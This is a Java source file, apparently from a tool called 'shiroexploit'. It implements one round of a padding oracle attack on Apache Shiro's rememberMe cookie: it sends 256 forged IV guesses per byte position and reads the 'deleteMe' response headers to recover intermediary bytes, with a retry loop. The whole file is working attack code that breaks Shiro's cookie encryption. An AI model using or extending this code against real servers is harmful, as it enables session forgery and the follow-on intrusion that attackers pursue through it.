package com.shiroexploit.core;

import com.shiroexploit.util.HttpRequest;
import com.shiroexploit.util.HttpRequestInfo;
import com.shiroexploit.util.Tools;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.atomic.AtomicInteger;

public class RoundTask {
    private int threads;
    private String cipherText;
    private int position;
    private String rememberMe;
    private StringBuffer intermediary;
    private String suffix;
    private HttpRequestInfo httpRequestInfo;

    public RoundTask(HttpRequestInfo httpRequestInfo, int position, String cipherText, StringBuffer intermediary) {
        this.threads = 1;
        this.httpRequestInfo = httpRequestInfo;
        this.cipherText = cipherText;
        this.position = position;
        this.rememberMe = httpRequestInfo.getRememberMeCookie();
        this.intermediary = intermediary;
        this.suffix = Tools.xor(intermediary.toString(), Tools.generateSuffix(position));
    }

    private AtomicInteger _index = new AtomicInteger(0);
    public void start() {
        int retry = 5;
        final boolean[] found = {false};

        //增加一个 do...while 循环，目的是如果由于网络原因，某一轮 round 没有找到，重新在尝试，最多尝试 5 次
        do{
            final CountDownLatch latch = new CountDownLatch(256);
            final ExecutorService executor = Executors.newFixedThreadPool(this.threads);

            for(int a = 0; a < 256; a++) {
                if(!executor.isShutdown()){
                    executor.execute(new Runnable() {
                        @Override
                        public void run() {
                            int j = _index.getAndIncrement();

                            String hex = Integer.toHexString(j);
                            if (hex.length() == 1) {
                                hex = 0 + hex;
                            }

                            String ivString = "00000000000000000000000000000000".substring(2 * position) + hex + suffix;
                            String paddingOraclePayload = Tools.generatePayload(rememberMe, ivString, cipherText);

                            if (HttpRequest.getDeleteMeCount(httpRequestInfo, paddingOraclePayload) < Tools.deleteMeBaseCount) {
                                // position=1 的时候有非常低的概率可能是满足 0x02 0x02 类似形式的padding，需要排除这种可能
                                if (position == 1) {
                                    ivString = ivString.substring(0, 28) + "01" + ivString.substring(30);
                                    paddingOraclePayload = Tools.generatePayload(rememberMe, ivString, cipherText);

                                    if (HttpRequest.getDeleteMeCount(httpRequestInfo, paddingOraclePayload) < Tools.deleteMeBaseCount) {
                                        found[0] = true;

                                        synchronized (RoundTask.class){
                                            intermediary.insert(0, Tools.xor(Integer.toHexString(position), ivString));
                                            executor.shutdownNow();
                                            while (latch.getCount() > 0) {
                                                latch.countDown();
                                            }
                                        }
                                    }
                                } else {
                                    found[0] = true;

                                    synchronized (RoundTask.class){
                                        intermediary.insert(0, Tools.xor(Integer.toHexString(position), ivString.substring(32 - 2 * position, 32 - 2 * position + 2)));
                                        executor.shutdownNow();
                                        while (latch.getCount() > 0) {
                                            latch.countDown();
                                        }
                                    }
                                }
                            }

                            latch.countDown();
                        }
                    });
                }
            }

            try {
                latch.await();
            } catch (InterruptedException e) {
                e.printStackTrace();
            }

            retry--;

        }while(!found[0] && retry > 0);
    }
}
